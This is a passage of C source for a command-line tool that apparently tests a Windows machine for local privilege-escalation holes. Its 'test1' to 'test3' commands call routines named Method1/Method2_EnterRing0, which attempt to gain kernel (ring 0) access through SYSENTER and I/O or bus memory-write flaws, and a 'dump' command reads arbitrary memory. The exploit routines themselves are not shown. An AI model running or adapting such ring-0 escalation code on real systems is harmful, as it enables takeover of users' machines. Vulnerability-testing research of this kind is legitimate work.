  951.                     break;
  952.                 }
  953.             }
  954.             if (j != 0)
  955.                 printf("WTF\n");
  956.  
  957.             SetProcessor(OldMask, NULL);
  958.         }
  959.         else if (!strcmp(s, "test1"))
  960.         {
  961.             if (!HasSysEnter())
  962.             {
  963.                 printf("Sorry. SYSENTER/SYSEXIT instructions aren't supported by your 
  964. processor.\n");
  965.                 continue;
  966.             }
  967.  
  968.             int failed = 1;
  969.             OldCpuState old;
  970.  
  971.             printf("Testing SYSENTER vulnerability in...");
  972.             PrintDelay(3);
  973.  
  974.             if (Method1_EnterRing0(old))
  975.             {
  976.                 failed = 0;
  977.                 Method1_LeaveRing0(old);
  978.             }
  979.  
  980.             PrintVulnMsg(failed);
  981.         }
  982.         else if (!strcmp(s, "test2"))
  983.         {
  984.             int failed = 1;
  985.             OldCpuState old;
  986.  
  987.             printf("Testing I/O write to memory vulnerability in...");
  988.             PrintDelay(3);
  989.  
  990.             int OldWrite = SetMemAccessMeth(1);
  991.             if (Method2_EnterRing0(old))
  992.             {
  993.                 failed = 0;
  994.                 Method2_LeaveRing0(old);
  995.             }
  996.             SetMemAccessMeth(OldWrite);
  997.  
  998.             PrintVulnMsg(failed);
  999.         }
  1000.         else if (!strcmp(s, "test3"))
  1001.         {
  1002.             int failed = 1;
  1003.             OldCpuState old;
  1004.  
  1005.             printf("Testing bus write to memory vulnerability in...");
  1006.             PrintDelay(3);
  1007.  
  1008.             int OldWrite = SetMemAccessMeth(2);
  1009.             if (Method2_EnterRing0(old))
  1010.             {
  1011.                 failed = 0;
  1012.                 Method2_LeaveRing0(old);
  1013.             }
  1014.             SetMemAccessMeth(OldWrite);
  1015.  
  1016.             PrintVulnMsg(failed);
  1017.         }
  1018.         else if (!strcmp(s, "dump") && i+2 < argc)
  1019.         {
  1020.             DWORD MemAddr = strtoul(argv[++i], NULL, 0);
  1021.             DWORD size = strtoul(argv[++i], NULL, 0);
  1022.  
  1023.             if (!DumpMem(MemAddr, size))
  1024.                 printf("Could not dump memory\n");
  1025.         }
  1026.         else
  1027.         {
  1028.             help();
  1029.         }
  1030.     }
  1031.  
  1032.     return 1;
  1033. }
  1034.  
  1035.